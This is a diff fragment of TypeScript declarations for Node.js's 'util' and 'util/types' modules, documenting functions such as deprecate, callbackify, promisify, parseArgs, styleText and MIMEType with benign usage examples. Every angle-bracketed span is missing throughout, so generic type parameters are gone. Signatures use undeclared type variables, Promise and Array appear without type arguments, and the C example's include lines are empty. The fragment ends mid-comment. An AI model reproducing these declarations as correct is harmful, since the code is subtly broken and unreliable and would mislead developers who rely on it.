export function isSymbol(object: unknown): object is symbol; + /** + * Returns `true` if the given `object` is `undefined`. Otherwise, returns `false`. + * + * ```js + * import util from 'node:util'; + * + * const foo = undefined; + * util.isUndefined(5); + * // Returns: false + * util.isUndefined(foo); + * // Returns: true + * util.isUndefined(null); + * // Returns: false + * ``` + * @since v0.11.5 + * @deprecated Since v4.0.0 - Use `value === undefined` instead. + */ + export function isUndefined(object: unknown): object is undefined; + /** + * The `util.deprecate()` method wraps `fn` (which may be a function or class) in + * such a way that it is marked as deprecated. + * + * ```js + * import util from 'node:util'; + * + * exports.obsoleteFunction = util.deprecate(() => { + * // Do something here. + * }, 'obsoleteFunction() is deprecated. Use newShinyFunction() instead.'); + * ``` + * + * When called, `util.deprecate()` will return a function that will emit a `DeprecationWarning` using the `'warning'` event. The warning will + * be emitted and printed to `stderr` the first time the returned function is + * called. After the warning is emitted, the wrapped function is called without + * emitting a warning. + * + * If the same optional `code` is supplied in multiple calls to `util.deprecate()`, + * the warning will be emitted only once for that `code`. + * + * ```js + * import util from 'node:util'; + * + * const fn1 = util.deprecate(someFunction, someMessage, 'DEP0001'); + * const fn2 = util.deprecate(someOtherFunction, someOtherMessage, 'DEP0001'); + * fn1(); // Emits a deprecation warning with code DEP0001 + * fn2(); // Does not emit a deprecation warning because it has the same code + * ``` + * + * If either the `--no-deprecation` or `--no-warnings` command-line flags are + * used, or if the `process.noDeprecation` property is set to `true`_prior_ to + * the first deprecation warning, the `util.deprecate()` method does nothing. + * + * If the `--trace-deprecation` or `--trace-warnings` command-line flags are set, + * or the `process.traceDeprecation` property is set to `true`, a warning and a + * stack trace are printed to `stderr` the first time the deprecated function is + * called. + * + * If the `--throw-deprecation` command-line flag is set, or the `process.throwDeprecation` property is set to `true`, then an exception will be + * thrown when the deprecated function is called. + * + * The `--throw-deprecation` command-line flag and `process.throwDeprecation` property take precedence over `--trace-deprecation` and `process.traceDeprecation`. + * @since v0.8.0 + * @param fn The function that is being deprecated. + * @param msg A warning message to display when the deprecated function is invoked. + * @param code A deprecation code. See the `list of deprecated APIs` for a list of codes. + * @return The deprecated function wrapped to emit a warning. + */ + export function deprecate(fn: T, msg: string, code?: string): T; + /** + * Returns `true` if there is deep strict equality between `val1` and `val2`. + * Otherwise, returns `false`. + * + * See `assert.deepStrictEqual()` for more information about deep strict + * equality. + * @since v9.0.0 + */ + export function isDeepStrictEqual(val1: unknown, val2: unknown): boolean; + /** + * Returns `str` with any ANSI escape codes removed. + * + * ```js + * console.log(util.stripVTControlCharacters('\u001B[4mvalue\u001B[0m')); + * // Prints "value" + * ``` + * @since v16.11.0 + */ + export function stripVTControlCharacters(str: string): string; + /** + * Takes an `async` function (or a function that returns a `Promise`) and returns a + * function following the error-first callback style, i.e. taking + * an `(err, value) => ...` callback as the last argument. In the callback, the + * first argument will be the rejection reason (or `null` if the `Promise` resolved), and the second argument will be the resolved value. + * + * ```js + * import util from 'node:util'; + * + * async function fn() { + * return 'hello world'; + * } + * const callbackFunction = util.callbackify(fn); + * + * callbackFunction((err, ret) => { + * if (err) throw err; + * console.log(ret); + * }); + * ``` + * + * Will print: + * + * ```text + * hello world + * ``` + * + * The callback is executed asynchronously, and will have a limited stack trace. + * If the callback throws, the process will emit an `'uncaughtException'` event, and if not handled will exit. + * + * Since `null` has a special meaning as the first argument to a callback, if a + * wrapped function rejects a `Promise` with a falsy value as a reason, the value + * is wrapped in an `Error` with the original value stored in a field named `reason`. + * + * ```js + * function fn() { + * return Promise.reject(null); + * } + * const callbackFunction = util.callbackify(fn); + * + * callbackFunction((err, ret) => { + * // When the Promise was rejected with `null` it is wrapped with an Error and + * // the original value is stored in `reason`. + * err && Object.hasOwn(err, 'reason') && err.reason === null; // true + * }); + * ``` + * @since v8.2.0 + * @param fn An `async` function + * @return a callback style function + */ + export function callbackify(fn: () => Promise): (callback: (err: NodeJS.ErrnoException) => void) => void; + export function callbackify( + fn: () => Promise, + ): (callback: (err: NodeJS.ErrnoException, result: TResult) => void) => void; + export function callbackify( + fn: (arg1: T1) => Promise, + ): (arg1: T1, callback: (err: NodeJS.ErrnoException) => void) => void; + export function callbackify( + fn: (arg1: T1) => Promise, + ): (arg1: T1, callback: (err: NodeJS.ErrnoException, result: TResult) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2) => Promise, + ): (arg1: T1, arg2: T2, callback: (err: NodeJS.ErrnoException) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2) => Promise, + ): (arg1: T1, arg2: T2, callback: (err: NodeJS.ErrnoException | null, result: TResult) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3) => Promise, + ): (arg1: T1, arg2: T2, arg3: T3, callback: (err: NodeJS.ErrnoException) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3) => Promise, + ): (arg1: T1, arg2: T2, arg3: T3, callback: (err: NodeJS.ErrnoException | null, result: TResult) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4) => Promise, + ): (arg1: T1, arg2: T2, arg3: T3, arg4: T4, callback: (err: NodeJS.ErrnoException) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4) => Promise, + ): ( + arg1: T1, + arg2: T2, + arg3: T3, + arg4: T4, + callback: (err: NodeJS.ErrnoException | null, result: TResult) => void, + ) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5) => Promise, + ): (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5, callback: (err: NodeJS.ErrnoException) => void) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5) => Promise, + ): ( + arg1: T1, + arg2: T2, + arg3: T3, + arg4: T4, + arg5: T5, + callback: (err: NodeJS.ErrnoException | null, result: TResult) => void, + ) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5, arg6: T6) => Promise, + ): ( + arg1: T1, + arg2: T2, + arg3: T3, + arg4: T4, + arg5: T5, + arg6: T6, + callback: (err: NodeJS.ErrnoException) => void, + ) => void; + export function callbackify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5, arg6: T6) => Promise, + ): ( + arg1: T1, + arg2: T2, + arg3: T3, + arg4: T4, + arg5: T5, + arg6: T6, + callback: (err: NodeJS.ErrnoException | null, result: TResult) => void, + ) => void; + export interface CustomPromisifyLegacy extends Function { + __promisify__: TCustom; + } + export interface CustomPromisifySymbol extends Function { + [promisify.custom]: TCustom; + } + export type CustomPromisify = + | CustomPromisifySymbol + | CustomPromisifyLegacy; + /** + * Takes a function following the common error-first callback style, i.e. taking + * an `(err, value) => ...` callback as the last argument, and returns a version + * that returns promises. + * + * ```js + * import util from 'node:util'; + * import fs from 'node:fs'; + * + * const stat = util.promisify(fs.stat); + * stat('.').then((stats) => { + * // Do something with `stats` + * }).catch((error) => { + * // Handle the error. + * }); + * ``` + * + * Or, equivalently using `async function`s: + * + * ```js + * import util from 'node:util'; + * import fs from 'node:fs'; + * + * const stat = util.promisify(fs.stat); + * + * async function callStat() { + * const stats = await stat('.'); + * console.log(`This directory is owned by ${stats.uid}`); + * } + * + * callStat(); + * ``` + * + * If there is an `original[util.promisify.custom]` property present, `promisify` will return its value, see `Custom promisified functions`. + * + * `promisify()` assumes that `original` is a function taking a callback as its + * final argument in all cases. If `original` is not a function, `promisify()` will throw an error. If `original` is a function but its last argument is not + * an error-first callback, it will still be passed an error-first + * callback as its last argument. + * + * Using `promisify()` on class methods or other methods that use `this` may not + * work as expected unless handled specially: + * + * ```js + * import util from 'node:util'; + * + * class Foo { + * constructor() { + * this.a = 42; + * } + * + * bar(callback) { + * callback(null, this.a); + * } + * } + * + * const foo = new Foo(); + * + * const naiveBar = util.promisify(foo.bar); + * // TypeError: Cannot read property 'a' of undefined + * // naiveBar().then(a => console.log(a)); + * + * naiveBar.call(foo).then((a) => console.log(a)); // '42' + * + * const bindBar = naiveBar.bind(foo); + * bindBar().then((a) => console.log(a)); // '42' + * ``` + * @since v8.0.0 + */ + export function promisify(fn: CustomPromisify): TCustom; + export function promisify( + fn: (callback: (err: any, result: TResult) => void) => void, + ): () => Promise; + export function promisify(fn: (callback: (err?: any) => void) => void): () => Promise; + export function promisify( + fn: (arg1: T1, callback: (err: any, result: TResult) => void) => void, + ): (arg1: T1) => Promise; + export function promisify(fn: (arg1: T1, callback: (err?: any) => void) => void): (arg1: T1) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, callback: (err: any, result: TResult) => void) => void, + ): (arg1: T1, arg2: T2) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, callback: (err?: any) => void) => void, + ): (arg1: T1, arg2: T2) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, arg3: T3, callback: (err: any, result: TResult) => void) => void, + ): (arg1: T1, arg2: T2, arg3: T3) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, arg3: T3, callback: (err?: any) => void) => void, + ): (arg1: T1, arg2: T2, arg3: T3) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, callback: (err: any, result: TResult) => void) => void, + ): (arg1: T1, arg2: T2, arg3: T3, arg4: T4) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, callback: (err?: any) => void) => void, + ): (arg1: T1, arg2: T2, arg3: T3, arg4: T4) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5, callback: (err: any, result: TResult) => void) => void, + ): (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5) => Promise; + export function promisify( + fn: (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5, callback: (err?: any) => void) => void, + ): (arg1: T1, arg2: T2, arg3: T3, arg4: T4, arg5: T5) => Promise; + export function promisify(fn: Function): Function; + export namespace promisify { + /** + * That can be used to declare custom promisified variants of functions. + */ + const custom: unique symbol; + } + /** + * Stability: 1.1 - Active development + * Given an example `.env` file: + * + * ```js + * import { parseEnv } from 'node:util'; + * + * parseEnv('HELLO=world\nHELLO=oh my\n'); + * // Returns: { HELLO: 'oh my' } + * ``` + * @param content The raw contents of a `.env` file. + * @since v20.12.0 + */ + export function parseEnv(content: string): object; + // https://nodejs.org/docs/latest/api/util.html#foreground-colors + type ForegroundColors = + | "black" + | "blackBright" + | "blue" + | "blueBright" + | "cyan" + | "cyanBright" + | "gray" + | "green" + | "greenBright" + | "grey" + | "magenta" + | "magentaBright" + | "red" + | "redBright" + | "white" + | "whiteBright" + | "yellow" + | "yellowBright"; + // https://nodejs.org/docs/latest/api/util.html#background-colors + type BackgroundColors = + | "bgBlack" + | "bgBlackBright" + | "bgBlue" + | "bgBlueBright" + | "bgCyan" + | "bgCyanBright" + | "bgGray" + | "bgGreen" + | "bgGreenBright" + | "bgGrey" + | "bgMagenta" + | "bgMagentaBright" + | "bgRed" + | "bgRedBright" + | "bgWhite" + | "bgWhiteBright" + | "bgYellow" + | "bgYellowBright"; + // https://nodejs.org/docs/latest/api/util.html#modifiers + type Modifiers = + | "blink" + | "bold" + | "dim" + | "doubleunderline" + | "framed" + | "hidden" + | "inverse" + | "italic" + | "overlined" + | "reset" + | "strikethrough" + | "underline"; + /** + * Stability: 1.1 - Active development + * + * This function returns a formatted text considering the `format` passed. + * + * ```js + * import { styleText } from 'node:util'; + * const errorMessage = styleText('red', 'Error! Error!'); + * console.log(errorMessage); + * ``` + * + * `util.inspect.colors` also provides text formats such as `italic`, and `underline` and you can combine both: + * + * ```js + * console.log( + * util.styleText(['underline', 'italic'], 'My italic underlined message'), + * ); + * ``` + * + * When passing an array of formats, the order of the format applied is left to right so the following style + * might overwrite the previous one. + * + * ```js + * console.log( + * util.styleText(['red', 'green'], 'text'), // green + * ); + * ``` + * + * The full list of formats can be found in [modifiers](https://nodejs.org/docs/latest-v22.x/api/util.html#modifiers). + * @param format A text format or an Array of text formats defined in `util.inspect.colors`. + * @param text The text to to be formatted. + * @since v20.12.0 + */ + export function styleText( + format: + | ForegroundColors + | BackgroundColors + | Modifiers + | Array, + text: string, + ): string; + /** + * An implementation of the [WHATWG Encoding Standard](https://encoding.spec.whatwg.org/) `TextDecoder` API. + * + * ```js + * const decoder = new TextDecoder(); + * const u8arr = new Uint8Array([72, 101, 108, 108, 111]); + * console.log(decoder.decode(u8arr)); // Hello + * ``` + * @since v8.3.0 + */ + export class TextDecoder { + /** + * The encoding supported by the `TextDecoder` instance. + */ + readonly encoding: string; + /** + * The value will be `true` if decoding errors result in a `TypeError` being + * thrown. + */ + readonly fatal: boolean; + /** + * The value will be `true` if the decoding result will include the byte order + * mark. + */ + readonly ignoreBOM: boolean; + constructor( + encoding?: string, + options?: { + fatal?: boolean | undefined; + ignoreBOM?: boolean | undefined; + }, + ); + /** + * Decodes the `input` and returns a string. If `options.stream` is `true`, any + * incomplete byte sequences occurring at the end of the `input` are buffered + * internally and emitted after the next call to `textDecoder.decode()`. + * + * If `textDecoder.fatal` is `true`, decoding errors that occur will result in a `TypeError` being thrown. + * @param input An `ArrayBuffer`, `DataView`, or `TypedArray` instance containing the encoded data. + */ + decode( + input?: NodeJS.ArrayBufferView | ArrayBuffer | null, + options?: { + stream?: boolean | undefined; + }, + ): string; + } + export interface EncodeIntoResult { + /** + * The read Unicode code units of input. + */ + read: number; + /** + * The written UTF-8 bytes of output. + */ + written: number; + } + export { types }; + + //// TextEncoder/Decoder + /** + * An implementation of the [WHATWG Encoding Standard](https://encoding.spec.whatwg.org/) `TextEncoder` API. All + * instances of `TextEncoder` only support UTF-8 encoding. + * + * ```js + * const encoder = new TextEncoder(); + * const uint8array = encoder.encode('this is some data'); + * ``` + * + * The `TextEncoder` class is also available on the global object. + * @since v8.3.0 + */ + export class TextEncoder { + /** + * The encoding supported by the `TextEncoder` instance. Always set to `'utf-8'`. + */ + readonly encoding: string; + /** + * UTF-8 encodes the `input` string and returns a `Uint8Array` containing the + * encoded bytes. + * @param [input='an empty string'] The text to encode. + */ + encode(input?: string): Uint8Array; + /** + * UTF-8 encodes the `src` string to the `dest` Uint8Array and returns an object + * containing the read Unicode code units and written UTF-8 bytes. + * + * ```js + * const encoder = new TextEncoder(); + * const src = 'this is some data'; + * const dest = new Uint8Array(10); + * const { read, written } = encoder.encodeInto(src, dest); + * ``` + * @param src The text to encode. + * @param dest The array to hold the encode result. + */ + encodeInto(src: string, dest: Uint8Array): EncodeIntoResult; + } + import { TextDecoder as _TextDecoder, TextEncoder as _TextEncoder } from "util"; + global { + /** + * `TextDecoder` class is a global reference for `import { TextDecoder } from 'node:util'` + * https://nodejs.org/api/globals.html#textdecoder + * @since v11.0.0 + */ + var TextDecoder: typeof globalThis extends { + onmessage: any; + TextDecoder: infer TextDecoder; + } ? TextDecoder + : typeof _TextDecoder; + /** + * `TextEncoder` class is a global reference for `import { TextEncoder } from 'node:util'` + * https://nodejs.org/api/globals.html#textencoder + * @since v11.0.0 + */ + var TextEncoder: typeof globalThis extends { + onmessage: any; + TextEncoder: infer TextEncoder; + } ? TextEncoder + : typeof _TextEncoder; + } + + //// parseArgs + /** + * Provides a higher level API for command-line argument parsing than interacting + * with `process.argv` directly. Takes a specification for the expected arguments + * and returns a structured object with the parsed options and positionals. + * + * ```js + * import { parseArgs } from 'node:util'; + * const args = ['-f', '--bar', 'b']; + * const options = { + * foo: { + * type: 'boolean', + * short: 'f', + * }, + * bar: { + * type: 'string', + * }, + * }; + * const { + * values, + * positionals, + * } = parseArgs({ args, options }); + * console.log(values, positionals); + * // Prints: [Object: null prototype] { foo: true, bar: 'b' } [] + * ``` + * @since v18.3.0, v16.17.0 + * @param config Used to provide arguments for parsing and to configure the parser. `config` supports the following properties: + * @return The parsed command line arguments: + */ + export function parseArgs(config?: T): ParsedResults; + interface ParseArgsOptionConfig { + /** + * Type of argument. + */ + type: "string" | "boolean"; + /** + * Whether this option can be provided multiple times. + * If `true`, all values will be collected in an array. + * If `false`, values for the option are last-wins. + * @default false. + */ + multiple?: boolean | undefined; + /** + * A single character alias for the option. + */ + short?: string | undefined; + /** + * The default option value when it is not set by args. + * It must be of the same type as the the `type` property. + * When `multiple` is `true`, it must be an array. + * @since v18.11.0 + */ + default?: string | boolean | string[] | boolean[] | undefined; + } + interface ParseArgsOptionsConfig { + [longOption: string]: ParseArgsOptionConfig; + } + export interface ParseArgsConfig { + /** + * Array of argument strings. + */ + args?: string[] | undefined; + /** + * Used to describe arguments known to the parser. + */ + options?: ParseArgsOptionsConfig | undefined; + /** + * Should an error be thrown when unknown arguments are encountered, + * or when arguments are passed that do not match the `type` configured in `options`. + * @default true + */ + strict?: boolean | undefined; + /** + * Whether this command accepts positional arguments. + */ + allowPositionals?: boolean | undefined; + /** + * If `true`, allows explicitly setting boolean options to `false` by prefixing the option name with `--no-`. + * @default false + * @since v22.4.0 + */ + allowNegative?: boolean | undefined; + /** + * Return the parsed tokens. This is useful for extending the built-in behavior, + * from adding additional checks through to reprocessing the tokens in different ways. + * @default false + */ + tokens?: boolean | undefined; + } + /* + IfDefaultsTrue and IfDefaultsFalse are helpers to handle default values for missing boolean properties. + TypeScript does not have exact types for objects: https://github.com/microsoft/TypeScript/issues/12936 + This means it is impossible to distinguish between "field X is definitely not present" and "field X may or may not be present". + But we expect users to generally provide their config inline or `as const`, which means TS will always know whether a given field is present. + So this helper treats "not definitely present" (i.e., not `extends boolean`) as being "definitely not present", i.e. it should have its default value. + This is technically incorrect but is a much nicer UX for the common case. + The IfDefaultsTrue version is for things which default to true; the IfDefaultsFalse version is for things which default to false. + */ + type IfDefaultsTrue = T extends true ? IfTrue + : T extends false ? IfFalse + : IfTrue; + + // we put the `extends false` condition first here because `undefined` compares like `any` when `strictNullChecks: false` + type IfDefaultsFalse = T extends false ? IfFalse + : T extends true ? IfTrue + : IfFalse; + + type ExtractOptionValue = IfDefaultsTrue< + T["strict"], + O["type"] extends "string" ? string : O["type"] extends "boolean" ? boolean : string | boolean, + string | boolean + >; + + type ParsedValues = + & IfDefaultsTrue + & (T["options"] extends ParseArgsOptionsConfig ? { + -readonly [LongOption in keyof T["options"]]: + // when "default" is not undefined, the value will be present + | (T["options"][LongOption]["default"] extends {} ? never : undefined) + | IfDefaultsFalse< + T["options"][LongOption]["multiple"], + Array>, + ExtractOptionValue + >; + } + : {}); + + type ParsedPositionals = IfDefaultsTrue< + T["strict"], + IfDefaultsFalse, + IfDefaultsTrue + >; + + type PreciseTokenForOptions< + K extends string, + O extends ParseArgsOptionConfig, + > = O["type"] extends "string" ? { + kind: "option"; + index: number; + name: K; + rawName: string; + value: string; + inlineValue: boolean; + } + : O["type"] extends "boolean" ? { + kind: "option"; + index: number; + name: K; + rawName: string; + value: undefined; + inlineValue: undefined; + } + : OptionToken & { name: K }; + + type TokenForOptions< + T extends ParseArgsConfig, + K extends keyof T["options"] = keyof T["options"], + > = K extends unknown + ? T["options"] extends ParseArgsOptionsConfig ? PreciseTokenForOptions + : OptionToken + : never; + + type ParsedOptionToken = IfDefaultsTrue, OptionToken>; + + type ParsedPositionalToken = IfDefaultsTrue< + T["strict"], + IfDefaultsFalse, + IfDefaultsTrue + >; + + type ParsedTokens = Array< + ParsedOptionToken | ParsedPositionalToken | { kind: "option-terminator"; index: number } + >; + + type PreciseParsedResults = IfDefaultsFalse< + T["tokens"], + { + values: ParsedValues; + positionals: ParsedPositionals; + tokens: ParsedTokens; + }, + { + values: ParsedValues; + positionals: ParsedPositionals; + } + >; + + type OptionToken = + | { kind: "option"; index: number; name: string; rawName: string; value: string; inlineValue: boolean } + | { + kind: "option"; + index: number; + name: string; + rawName: string; + value: undefined; + inlineValue: undefined; + }; + + type Token = + | OptionToken + | { kind: "positional"; index: number; value: string } + | { kind: "option-terminator"; index: number }; + + // If ParseArgsConfig extends T, then the user passed config constructed elsewhere. + // So we can't rely on the `"not definitely present" implies "definitely not present"` assumption mentioned above. + type ParsedResults = ParseArgsConfig extends T ? { + values: { + [longOption: string]: undefined | string | boolean | Array; + }; + positionals: string[]; + tokens?: Token[]; + } + : PreciseParsedResults; + + /** + * An implementation of [the MIMEType class](https://bmeck.github.io/node-proposal-mime-api/). + * + * In accordance with browser conventions, all properties of `MIMEType` objects + * are implemented as getters and setters on the class prototype, rather than as + * data properties on the object itself. + * + * A MIME string is a structured string containing multiple meaningful + * components. When parsed, a `MIMEType` object is returned containing + * properties for each of these components. + * @since v19.1.0, v18.13.0 + * @experimental + */ + export class MIMEType { + /** + * Creates a new MIMEType object by parsing the input. + * + * A `TypeError` will be thrown if the `input` is not a valid MIME. + * Note that an effort will be made to coerce the given values into strings. + * @param input The input MIME to parse. + */ + constructor(input: string | { toString: () => string }); + + /** + * Gets and sets the type portion of the MIME. + * + * ```js + * import { MIMEType } from 'node:util'; + * + * const myMIME = new MIMEType('text/javascript'); + * console.log(myMIME.type); + * // Prints: text + * myMIME.type = 'application'; + * console.log(myMIME.type); + * // Prints: application + * console.log(String(myMIME)); + * // Prints: application/javascript + * ``` + */ + type: string; + /** + * Gets and sets the subtype portion of the MIME. + * + * ```js + * import { MIMEType } from 'node:util'; + * + * const myMIME = new MIMEType('text/ecmascript'); + * console.log(myMIME.subtype); + * // Prints: ecmascript + * myMIME.subtype = 'javascript'; + * console.log(myMIME.subtype); + * // Prints: javascript + * console.log(String(myMIME)); + * // Prints: text/javascript + * ``` + */ + subtype: string; + /** + * Gets the essence of the MIME. This property is read only. + * Use `mime.type` or `mime.subtype` to alter the MIME. + * + * ```js + * import { MIMEType } from 'node:util'; + * + * const myMIME = new MIMEType('text/javascript;key=value'); + * console.log(myMIME.essence); + * // Prints: text/javascript + * myMIME.type = 'application'; + * console.log(myMIME.essence); + * // Prints: application/javascript + * console.log(String(myMIME)); + * // Prints: application/javascript;key=value + * ``` + */ + readonly essence: string; + /** + * Gets the `MIMEParams` object representing the + * parameters of the MIME. This property is read-only. See `MIMEParams` documentation for details. + */ + readonly params: MIMEParams; + /** + * The `toString()` method on the `MIMEType` object returns the serialized MIME. + * + * Because of the need for standard compliance, this method does not allow users + * to customize the serialization process of the MIME. + */ + toString(): string; + } + /** + * The `MIMEParams` API provides read and write access to the parameters of a `MIMEType`. + * @since v19.1.0, v18.13.0 + */ + export class MIMEParams { + /** + * Remove all name-value pairs whose name is `name`. + */ + delete(name: string): void; + /** + * Returns an iterator over each of the name-value pairs in the parameters. + * Each item of the iterator is a JavaScript `Array`. The first item of the array + * is the `name`, the second item of the array is the `value`. + */ + entries(): IterableIterator<[name: string, value: string]>; + /** + * Returns the value of the first name-value pair whose name is `name`. If there + * are no such pairs, `null` is returned. + * @return or `null` if there is no name-value pair with the given `name`. + */ + get(name: string): string | null; + /** + * Returns `true` if there is at least one name-value pair whose name is `name`. + */ + has(name: string): boolean; + /** + * Returns an iterator over the names of each name-value pair. + * + * ```js + * import { MIMEType } from 'node:util'; + * + * const { params } = new MIMEType('text/plain;foo=0;bar=1'); + * for (const name of params.keys()) { + * console.log(name); + * } + * // Prints: + * // foo + * // bar + * ``` + */ + keys(): IterableIterator; + /** + * Sets the value in the `MIMEParams` object associated with `name` to `value`. If there are any pre-existing name-value pairs whose names are `name`, + * set the first such pair's value to `value`. + * + * ```js + * import { MIMEType } from 'node:util'; + * + * const { params } = new MIMEType('text/plain;foo=0;bar=1'); + * params.set('foo', 'def'); + * params.set('baz', 'xyz'); + * console.log(params.toString()); + * // Prints: foo=def;bar=1;baz=xyz + * ``` + */ + set(name: string, value: string): void; + /** + * Returns an iterator over the values of each name-value pair. + */ + values(): IterableIterator; + /** + * Returns an iterator over each of the name-value pairs in the parameters. + */ + [Symbol.iterator]: typeof MIMEParams.prototype.entries; + } +} +declare module "util/types" { + import { KeyObject, webcrypto } from "node:crypto"; + /** + * Returns `true` if the value is a built-in [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) or + * [`SharedArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) instance. + * + * See also `util.types.isArrayBuffer()` and `util.types.isSharedArrayBuffer()`. + * + * ```js + * util.types.isAnyArrayBuffer(new ArrayBuffer()); // Returns true + * util.types.isAnyArrayBuffer(new SharedArrayBuffer()); // Returns true + * ``` + * @since v10.0.0 + */ + function isAnyArrayBuffer(object: unknown): object is ArrayBufferLike; + /** + * Returns `true` if the value is an `arguments` object. + * + * ```js + * function foo() { + * util.types.isArgumentsObject(arguments); // Returns true + * } + * ``` + * @since v10.0.0 + */ + function isArgumentsObject(object: unknown): object is IArguments; + /** + * Returns `true` if the value is a built-in [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) instance. + * This does _not_ include [`SharedArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer) instances. Usually, it is + * desirable to test for both; See `util.types.isAnyArrayBuffer()` for that. + * + * ```js + * util.types.isArrayBuffer(new ArrayBuffer()); // Returns true + * util.types.isArrayBuffer(new SharedArrayBuffer()); // Returns false + * ``` + * @since v10.0.0 + */ + function isArrayBuffer(object: unknown): object is ArrayBuffer; + /** + * Returns `true` if the value is an instance of one of the [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) views, such as typed + * array objects or [`DataView`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView). Equivalent to + * [`ArrayBuffer.isView()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView). + * + * ```js + * util.types.isArrayBufferView(new Int8Array()); // true + * util.types.isArrayBufferView(Buffer.from('hello world')); // true + * util.types.isArrayBufferView(new DataView(new ArrayBuffer(16))); // true + * util.types.isArrayBufferView(new ArrayBuffer()); // false + * ``` + * @since v10.0.0 + */ + function isArrayBufferView(object: unknown): object is NodeJS.ArrayBufferView; + /** + * Returns `true` if the value is an [async function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function). + * This only reports back what the JavaScript engine is seeing; + * in particular, the return value may not match the original source code if + * a transpilation tool was used. + * + * ```js + * util.types.isAsyncFunction(function foo() {}); // Returns false + * util.types.isAsyncFunction(async function foo() {}); // Returns true + * ``` + * @since v10.0.0 + */ + function isAsyncFunction(object: unknown): boolean; + /** + * Returns `true` if the value is a `BigInt64Array` instance. + * + * ```js + * util.types.isBigInt64Array(new BigInt64Array()); // Returns true + * util.types.isBigInt64Array(new BigUint64Array()); // Returns false + * ``` + * @since v10.0.0 + */ + function isBigInt64Array(value: unknown): value is BigInt64Array; + /** + * Returns `true` if the value is a `BigUint64Array` instance. + * + * ```js + * util.types.isBigUint64Array(new BigInt64Array()); // Returns false + * util.types.isBigUint64Array(new BigUint64Array()); // Returns true + * ``` + * @since v10.0.0 + */ + function isBigUint64Array(value: unknown): value is BigUint64Array; + /** + * Returns `true` if the value is a boolean object, e.g. created + * by `new Boolean()`. + * + * ```js + * util.types.isBooleanObject(false); // Returns false + * util.types.isBooleanObject(true); // Returns false + * util.types.isBooleanObject(new Boolean(false)); // Returns true + * util.types.isBooleanObject(new Boolean(true)); // Returns true + * util.types.isBooleanObject(Boolean(false)); // Returns false + * util.types.isBooleanObject(Boolean(true)); // Returns false + * ``` + * @since v10.0.0 + */ + function isBooleanObject(object: unknown): object is Boolean; + /** + * Returns `true` if the value is any boxed primitive object, e.g. created + * by `new Boolean()`, `new String()` or `Object(Symbol())`. + * + * For example: + * + * ```js + * util.types.isBoxedPrimitive(false); // Returns false + * util.types.isBoxedPrimitive(new Boolean(false)); // Returns true + * util.types.isBoxedPrimitive(Symbol('foo')); // Returns false + * util.types.isBoxedPrimitive(Object(Symbol('foo'))); // Returns true + * util.types.isBoxedPrimitive(Object(BigInt(5))); // Returns true + * ``` + * @since v10.11.0 + */ + function isBoxedPrimitive(object: unknown): object is String | Number | BigInt | Boolean | Symbol; + /** + * Returns `true` if the value is a built-in [`DataView`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView) instance. + * + * ```js + * const ab = new ArrayBuffer(20); + * util.types.isDataView(new DataView(ab)); // Returns true + * util.types.isDataView(new Float64Array()); // Returns false + * ``` + * + * See also [`ArrayBuffer.isView()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView). + * @since v10.0.0 + */ + function isDataView(object: unknown): object is DataView; + /** + * Returns `true` if the value is a built-in [`Date`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) instance. + * + * ```js + * util.types.isDate(new Date()); // Returns true + * ``` + * @since v10.0.0 + */ + function isDate(object: unknown): object is Date; + /** + * Returns `true` if the value is a native `External` value. + * + * A native `External` value is a special type of object that contains a + * raw C++ pointer (`void*`) for access from native code, and has no other + * properties. Such objects are created either by Node.js internals or native + * addons. In JavaScript, they are [frozen](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze) objects with a`null` prototype. + * + * ```c + * #include + * #include + * napi_value result; + * static napi_value MyNapi(napi_env env, napi_callback_info info) { + * int* raw = (int*) malloc(1024); + * napi_status status = napi_create_external(env, (void*) raw, NULL, NULL, &result); + * if (status != napi_ok) { + * napi_throw_error(env, NULL, "napi_create_external failed"); + * return NULL; + * } + * return result; + * } + * ... + * DECLARE_NAPI_PROPERTY("myNapi", MyNapi) + * ... + * ``` + * + * ```js + * const native = require('napi_addon.node'); + * const data = native.myNapi(); + * util.types.isExternal(data); // returns true + * 